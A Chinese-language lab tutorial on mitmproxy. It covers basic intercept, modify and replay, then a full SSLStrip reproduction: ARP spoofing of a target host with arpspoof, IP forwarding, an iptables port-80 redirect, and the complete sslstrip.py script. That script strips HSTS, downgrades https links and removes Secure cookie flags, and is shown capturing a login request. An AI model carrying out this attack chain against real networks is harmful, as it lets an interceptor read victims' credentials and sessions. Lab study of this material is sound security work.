SSLStrip-基于mitmproxy

1. 基本用法

1.1 拦截请求

在主界面输入 i，之后在下方弹出的 set intercept ‘ ’中，在‘’中补充过滤规则，一些常用过滤规则

Bash ~http        过滤http流

选定拦截的规则，摁 a 可进行恢复，摁 X 可kill掉该请求

1.1.1 过滤规则

过滤方法详细可参照：Filter expressions

1.2 拦截修改

拦截下的数据可摁enter进入详细页面，接着摁e进行修改，摁e弹出可修改的参数，选中参数后摁enter可进入修改界面，在第一行修改/添加值即可，之后摁esc再摁q返回之前的详细页面，之后摁a恢复请求，此时表示服务端已收到当前请求并对修改后的请求返回响应。此时摁方向键进入Response界面然后摁e以同样的方式修改数据，修改完成后 摁 ctrl + x 进行保存然后输入y  再摁 enter 进行退出，之后再摁 a 即可将请求发送给客户端

1.3 重放

重放请求是将拦截的请求再次向服务器发送，该操作不会向客户端再次反馈，只是中间人与服务器的请求操作。更新服务器的返回。该操作可随便选中一个请求摁 r 即可进行重放

2. 使用mitmproxy进行SSLStrip

2.1 环境准备

攻击机：Kali Linux 2023.4

靶机： Ubuntu

2.2 基本准备

2.2.1 攻击机准备

首先使用攻击机进行arp欺骗，该操作可使用kali中arpspoof进行

Bash sudo arpspoof -i eth0 -t 192.168.60.130 192.168.60.2                  <网卡>      <靶机IP>      <网关地址>

流量转发：开启网卡的流量转发功能

Bash echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

监听端口：将目的端口为80的流重定向到8080端口

Bash sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

2.2.2 靶机准备

Ubuntu靶机firefox关闭HSTS

Bash 浏览器中输入“about:config” security.mixed_content.block_active_content      设置为 false security.mixed_content.block_display_content       设置为false 关闭 Firefox 浏览器，并重新打开即可

2.3 下载sslstrip插件并执行sslstrip

sslstrip脚本下载地址（也可在文末找到）：https://github.com/mitmproxy/mitmproxy/blob/main/examples/contrib/sslstrip.py

sslstrip运行命令

Bash mitmproxy -s sslstrip.py

2.4 复现过程

靶机打开网站，直接访问发现已经使用http连接

点击登录，发现mitmproxy后台已经拦截下该请求，

2.5 SSLStrip代码

Bash # 也可自行编写放入 """ This script implements an sslstrip-like attack based on mitmproxy. https://moxie.org/software/sslstrip/ """ import re import urllib.parse from mitmproxy import http # set of SSL/TLS capable hosts secure_hosts: set[str] = set() def request(flow: http.HTTPFlow) -> None:     flow.request.headers.pop("If-Modified-Since", None)     flow.request.headers.pop("Cache-Control", None)     # do not force https redirection     flow.request.headers.pop("Upgrade-Insecure-Requests", None)     # proxy connections to SSL-enabled hosts     if flow.request.pretty_host in secure_hosts:         flow.request.scheme = "https"         flow.request.port = 443         # We need to update the request destination to whatever is specified in the host header:         # Having no TLS Server Name Indication from the client and just an IP address as request.host         # in transparent mode, TLS server name certificate validation would fail.         flow.request.host = flow.request.pretty_host def response(flow: http.HTTPFlow) -> None:     assert flow.response     flow.response.headers.pop("Strict-Transport-Security", None)     flow.response.headers.pop("Public-Key-Pins", None)     # strip links in response body     flow.response.content = flow.response.content.replace(b"https://", b"http://")     # strip meta tag upgrade-insecure-requests in response body     csp_meta_tag_pattern = rb'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'     flow.response.content = re.sub(         csp_meta_tag_pattern, b"", flow.response.content, flags=re.IGNORECASE     )     # strip links in 'Location' header     if flow.response.headers.get("Location", "").startswith("https://"):         location = flow.response.headers["Location"]         hostname = urllib.parse.urlparse(location).hostname         if hostname:             secure_hosts.add(hostname)         flow.response.headers["Location"] = location.replace("https://", "http://", 1)     # strip upgrade-insecure-requests in Content-Security-Policy header     csp_header = flow.response.headers.get("Content-Security-Policy", "")     if re.search("upgrade-insecure-requests", csp_header, flags=re.IGNORECASE):         csp = flow.response.headers["Content-Security-Policy"]         new_header = re.sub(             r"upgrade-insecure-requests[;\s]*", "", csp, flags=re.IGNORECASE         )         flow.response.headers["Content-Security-Policy"] = new_header     # strip secure flag from 'Set-Cookie' headers     cookies = flow.response.headers.get_all("Set-Cookie")     cookies = [re.sub(r";\s*secure\s*", "", s) for s in cookies]     flow.response.headers.set_all("Set-Cookie", cookies)